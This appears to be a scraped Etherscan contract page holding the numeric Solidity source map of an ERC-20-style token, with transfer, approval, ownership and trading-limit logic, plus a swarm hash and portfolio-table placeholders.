-1;5480:4:0;;5243:249;-1:-1:-1;;;;5243:249:0:o;1333:103::-;1023:13;:11;:13::i;:::-;1398:30:::1;1417:10;1398:18;:30::i;:::-;1333:103::o:0;4277:95::-;4324:13;4357:7;4350:14;;;;;:::i;4705:182::-;4774:4;276:10;4830:27;276:10;4847:2;4851:5;4830:9;:27::i;8721:76::-;1023:13;:11;:13::i;:::-;8771:11:::1;:18:::0;;-1:-1:-1;;8771:18:0::1;8785:4;8771:18;::::0;;8721:76::o;6992:130::-;7077:37;7086:5;7093:7;7102:5;7109:4;7077:8;:37::i;:::-;6992:130;;;:::o;1159:166::-;1137:6;;-1:-1:-1;;;;;1137:6:0;276:10;1219:23;1215:103;;1266:40;;-1:-1:-1;;;1266:40:0;;276:10;1266:40;;;1423:51:1;1396:18;;1266:40:0;;;;;;;;5816:730;-1:-1:-1;;;;;5906:18:0;;5902:369;;5957:5;5941:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;5902:369:0;;-1:-1:-1;5902:369:0;;-1:-1:-1;;;;;6017:15:0;;5995:19;6017:15;;;;;;;;;;;6051:19;;;6047:117;;;6098:50;;-1:-1:-1;;;6098:50:0;;-1:-1:-1;;;;;3685:32:1;;6098:50:0;;;3667:51:1;3734:18;;;3727:34;;;3777:18;;;3770:34;;;3640:18;;6098:50:0;3465:345:1;6047:117:0;-1:-1:-1;;;;;6207:15:0;;:9;:15;;;;;;;;;;6225:19;;;;6207:37;;5902:369;-1:-1:-1;;;;;6287:16:0;;6283:213;;6349:12;:21;;;;;;;6283:213;;;-1:-1:-1;;;;;6447:13:0;;:9;:13;;;;;;;;;;:22;;;;;;6283:213;6528:2;-1:-1:-1;;;;;6513:25:0;6522:4;-1:-1:-1;;;;;6513:25:0;;6532:5;6513:25;;;;1631::1;;1619:2;1604:18;;1485:177;6513:25:0;;;;;;;;5816:730;;;:::o;7581:487::-;-1:-1:-1;;;;;5002:18:0;;;7681:24;5002:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;7748:37:0;;7744:317;;7825:5;7806:16;:24;7802:132;;;7858:60;;-1:-1:-1;;;7858:60:0;;-1:-1:-1;;;;;3685:32:1;;7858:60:0;;;3667:51:1;3734:18;;;3727:34;;;3777:18;;;3770:34;;;3640:18;;7858:60:0;3465:345:1;7802:132:0;7977:57;7986:5;7993:7;8021:5;8002:16;:24;8028:5;7977:8;:57::i;:::-;7670:398;7581:487;;;:::o;5500:308::-;-1:-1:-1;;;;;5584:18:0;;5580:88;;5626:30;;-1:-1:-1;;;5626:30:0;;5653:1;5626:30;;;1423:51:1;1396:18;;5626:30:0;1251:229:1;5580:88:0;-1:-1:-1;;;;;5682:16:0;;5678:88;;5722:32;;-1:-1:-1;;;5722:32:0;;5751:1;5722:32;;;1423:51:1;1396:18;;5722:32:0;1251:229:1;5678:88:0;5776:24;5784:4;5790:2;5794:5;5776:7;:24::i;1444:191::-;1537:6;;;-1:-1:-1;;;;;1554:17:0;;;-1:-1:-1;;;;;;1554:17:0;;;;;;;1587:40;;1537:6;;;1554:17;1537:6;;1587:40;;1518:16;;1587:40;1507:128;1444:191;:::o;7130:443::-;-1:-1:-1;;;;;7243:19:0;;7239:91;;7286:32;;-1:-1:-1;;;7286:32:0;;7315:1;7286:32;;;1423:51:1;1396:18;;7286:32:0;1251:229:1;7239:91:0;-1:-1:-1;;;;;7344:21:0;;7340:92;;7389:31;;-1:-1:-1;;;7389:31:0;;7417:1;7389:31;;;1423:51:1;1396:18;;7389:31:0;1251:229:1;7340:92:0;-1:-1:-1;;;;;7442:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;7488:78;;;;7539:7;-1:-1:-1;;;;;7523:31:0;7532:5;-1:-1:-1;;;;;7523:31:0;;7548:5;7523:31;;;;1631:25:1;;1619:2;1604:18;;1485:177;7523:31:0;;;;;;;;7130:443;;;;:::o;9204:762::-;9317:9;9295:32;;;;:21;:32;;;;;;;;9291:668;;;9344:30;9358:4;9364:2;9368:5;9344:13;:30::i;9291:668::-;9436:11;;;;9428:36;;;;-1:-1:-1;;;9428:36:0;;4017:2:1;9428:36:0;;;3999:21:1;4056:2;4036:18;;;4029:30;-1:-1:-1;;;4075:18:1;;;4068:42;4127:18;;9428:36:0;3815:336:1;9428:36:0;9499:4;;9479:10;;-1:-1:-1;;;;;9493:10:0;;;9499:4;;9493:10;9492:27;;9514:5;9492:27;;;9507:4;9492:27;9479:40;;9538:5;9534:414;;;9583:13;;9569:11;:27;9565:65;;;9599:29;;-1:-1:-1;;;9599:29:0;;4358:2:1;9599:29:0;;;4340:21:1;4397:2;4377:18;;;4370:30;-1:-1:-1;;;4416:18:1;;;4409:49;4475:18;;9599:29:0;4156:343:1;9565:65:0;9648:30;9662:4;9668:2;9672:5;9648:13;:30::i;9534:414::-;9712:5;9707:241;;9738:30;9752:4;9758:2;9762:5;9738:13;:30::i;9707:241::-;9809:4;;-1:-1:-1;;;;;9801:12:0;;;9809:4;;9801:12;;;;:26;;-1:-1:-1;9823:4:0;;-1:-1:-1;;;;;9817:10:0;;;9823:4;;9817:10;;9801:26;9797:151;;;9848:30;9862:4;9868:2;9872:5;9848:13;:30::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:254::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;859:2;844:18;;;;831:32;;-1:-1:-1;;;615:254:1:o;1066:180::-;1125:6;1178:2;1166:9;1157:7;1153:23;1149:32;1146:52;;;1194:1;1191;1184:12;1146:52;-1:-1:-1;1217:23:1;;1066:180;-1:-1:-1;1066:180:1:o;1667:186::-;1726:6;1779:2;1767:9;1758:7;1754:23;1750:32;1747:52;;;1795:1;1792;1785:12;1747:52;1818:29;1837:9;1818:29;:::i;:::-;1808:39;1667:186;-1:-1:-1;;;1667:186:1:o;1858:328::-;1935:6;1943;1951;2004:2;1992:9;1983:7;1979:23;1975:32;1972:52;;;2020:1;2017;2010:12;1972:52;2043:29;2062:9;2043:29;:::i;:::-;2033:39;;2091:38;2125:2;2114:9;2110:18;2091:38;:::i;:::-;2081:48;;2176:2;2165:9;2161:18;2148:32;2138:42;;1858:328;;;;;:::o;2588:260::-;2656:6;2664;2717:2;2705:9;2696:7;2692:23;2688:32;2685:52;;;2733:1;2730;2723:12;2685:52;2756:29;2775:9;2756:29;:::i;:::-;2746:39;;2804:38;2838:2;2827:9;2823:18;2804:38;:::i;:::-;2794:48;;2588:260;;;;;:::o;2853:380::-;2932:1;2928:12;;;;2975;;;2996:61;;3050:4;3042:6;3038:17;3028:27;;2996:61;3103:2;3095:6;3092:14;3072:18;3069:38;3066:161;;3149:10;3144:3;3140:20;3137:1;3130:31;3184:4;3181:1;3174:15;3212:4;3209:1;3202:15;3066:161;;2853:380;;;:::o;3238:222::-;3303:9;;;3324:10;;;3321:133;;;3376:10;3371:3;3367:20;3364:1;3357:31;3411:4;3408:1;3401:15;3439:4;3436:1;3429:15
Swarm Source
ipfs://614553419dd88dd8c4cd416af817f8f8118f8598c1e010d0b56c4a15c804e32e
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.